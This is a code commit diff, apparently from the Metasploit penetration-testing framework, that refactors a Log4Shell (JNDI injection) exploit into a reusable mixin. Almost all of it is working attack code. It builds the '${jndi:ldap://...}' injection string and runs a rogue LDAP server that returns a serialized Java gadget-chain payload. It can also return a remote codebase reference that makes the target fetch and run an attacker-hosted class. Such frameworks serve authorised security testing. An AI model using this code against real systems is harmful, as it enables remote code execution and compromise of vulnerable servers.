Refactor Log4shell exploit code into reusable bits
This commit is contained in:
parent
e093154865
commit
62a814fa59
|
@ -0,0 +1,136 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# This is a mixin containing methods to facilitate exploiting JNDI injection flaws (such as Log4Shell) by using a
|
||||
# malicious LDAP server.
|
||||
#
|
||||
# See:
|
||||
# https://www.veracode.com/blog/research/exploiting-jndi-injections-java
|
||||
# https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
|
||||
#
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Java
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive))
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
|
||||
])
|
||||
end
|
||||
|
||||
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
|
||||
#
|
||||
# @return [String] the JNDI string
|
||||
def jndi_string
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
||||
end
|
||||
|
||||
## LDAP service callbacks
|
||||
#
|
||||
# Handle incoming requests via service mixin
|
||||
#
|
||||
def on_dispatch_request(client, data)
|
||||
return if data.strip.empty?
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
client.authenticated = true
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
||||
client.write(build_ldap_search_response(pdu.message_id, pdu.search_parameters[:base_object]))
|
||||
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
else
|
||||
vprint_status("Client sent unexpected request #{pdu.app_tag}")
|
||||
client.close
|
||||
end
|
||||
resp.nil? ? client.close : on_send_response(client, resp)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to handle LDAP request due to #{e}")
|
||||
client.close
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and serialize the payload as an LDAP search response
|
||||
#
|
||||
# @param msg_id [Integer] LDAP message identifier
|
||||
# @param base_dn [Sting] LDAP distinguished name
|
||||
#
|
||||
# @return [Array] packed BER sequence
|
||||
def build_ldap_search_response(msg_id, base_dn)
|
||||
attrs = build_ldap_search_response_payload
|
||||
appseq = [
|
||||
base_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[ msg_id.to_ber, appseq ].to_ber_sequence
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains the serialized payload.
|
||||
#
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload
|
||||
# exploit authors should override this and either call the inline one with a gadget chain that is compatible with
|
||||
# the target or setup an HTTP server and call the remote one
|
||||
build_ldap_search_response_payload_inline('BeanFactory')
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains the serialized payload to be executed.
|
||||
#
|
||||
# @param [String] gadget_chain The gadget chain to use to execute the payload. This value must be compatible with the
|
||||
# target application.
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload_inline(gadget_chain)
|
||||
java_payload = generate_java_deserialization_for_payload(gadget_chain, payload)
|
||||
[
|
||||
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# Build the LDAP response to the search request that contains a reference to an HTTP server from which a remote class
|
||||
# will be loaded. The target must have the trusted code base option enabled for this technique to work. The HTTP
|
||||
# server from which the class is hosted is not managed by this method.
|
||||
#
|
||||
# @param [String] pay_url The URL from which the class should be loaded.
|
||||
# @param [String] pay_class The payload class name.
|
||||
# @return [Array] the array of attributes to add to the returned search data of the query response.
|
||||
def build_ldap_search_response_payload_remote(pay_url, pay_class = 'metasploit.PayloadFactory')
|
||||
[
|
||||
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaCodebase'.to_ber, [ pay_url.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
]
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,10 +5,8 @@
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::JavaDeserialization
|
||||
include Msf::Exploit::Java
|
||||
include Msf::Exploit::Remote::JndiInjection
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::LDAP::Server
|
||||
include Msf::Exploit::Remote::CheckModule
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
|
@ -84,8 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'AKA' => ['Log4Shell', 'LogJam'],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]
|
||||
},
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),
|
||||
|
@ -95,8 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
true, 'The Java gadget chain to use for deserialization', 'CommonsBeanutils1',
|
||||
Msf::Exploit::JavaDeserialization.gadget_chains
|
||||
], conditions: %w[TARGET != Automatic]),
|
||||
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),
|
||||
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])
|
||||
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic])
|
||||
])
|
||||
end
|
||||
|
||||
|
@ -111,10 +107,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@checkcode = super
|
||||
end
|
||||
|
||||
def jndi_string
|
||||
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
|
||||
end
|
||||
|
||||
def resource_url_string
|
||||
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
|
||||
end
|
||||
|
@ -151,74 +143,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
jar
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and serialize the payload as an LDAP search response
|
||||
#
|
||||
# @param msg_id [Integer] LDAP message identifier
|
||||
# @param base_dn [Sting] LDAP distinguished name
|
||||
#
|
||||
# @return [Array] packed BER sequence
|
||||
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')
|
||||
def build_ldap_search_response_payload
|
||||
if target['RemoteLoad']
|
||||
attrs = [
|
||||
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,
|
||||
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,
|
||||
]
|
||||
build_ldap_search_response_payload_remote(resource_url_string)
|
||||
else
|
||||
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
|
||||
# vprint_good("Serialized java payload: #{java_payload}")
|
||||
attrs = [
|
||||
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,
|
||||
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence
|
||||
]
|
||||
build_ldap_search_response_payload_inline(datastore['JAVA_GADGET_CHAIN'])
|
||||
end
|
||||
appseq = [
|
||||
base_dn.to_ber,
|
||||
attrs.to_ber_sequence
|
||||
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)
|
||||
[ msg_id.to_ber, appseq ].to_ber_sequence
|
||||
end
|
||||
|
||||
## LDAP service callbacks
|
||||
#
|
||||
# Handle incoming requests via service mixin
|
||||
#
|
||||
def on_dispatch_request(client, data)
|
||||
return if data.strip.empty?
|
||||
|
||||
data.extend(Net::BER::Extensions::String)
|
||||
begin
|
||||
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))
|
||||
vprint_status("LDAP request data remaining: #{data}") unless data.empty?
|
||||
resp = case pdu.app_tag
|
||||
when Net::LDAP::PDU::BindRequest # bind request
|
||||
client.authenticated = true
|
||||
service.encode_ldap_response(
|
||||
pdu.message_id,
|
||||
Net::LDAP::ResultCodeSuccess,
|
||||
'',
|
||||
'',
|
||||
Net::LDAP::PDU::BindResult
|
||||
)
|
||||
when Net::LDAP::PDU::SearchRequest # search request
|
||||
if client.authenticated || datastore['LDAP_AUTH_BYPASS']
|
||||
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))
|
||||
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)
|
||||
else
|
||||
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
else
|
||||
vprint_status("Client sent unexpected request #{pdu.app_tag}")
|
||||
client.close
|
||||
end
|
||||
resp.nil? ? client.close : on_send_response(client, resp)
|
||||
rescue StandardError => e
|
||||
print_error("Failed to handle LDAP request due to #{e}")
|
||||
client.close
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
## HTTP service callbacks
|
||||
|
@ -290,6 +220,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
super
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
super
|
||||
|
||||
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
|
||||
fail_with(Exploit::Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Boilerplate HTTP service code
|
||||
|
@ -353,11 +291,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
end
|
||||
|
||||
def validate_configuration!
|
||||
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
|
||||
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']
|
||||
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue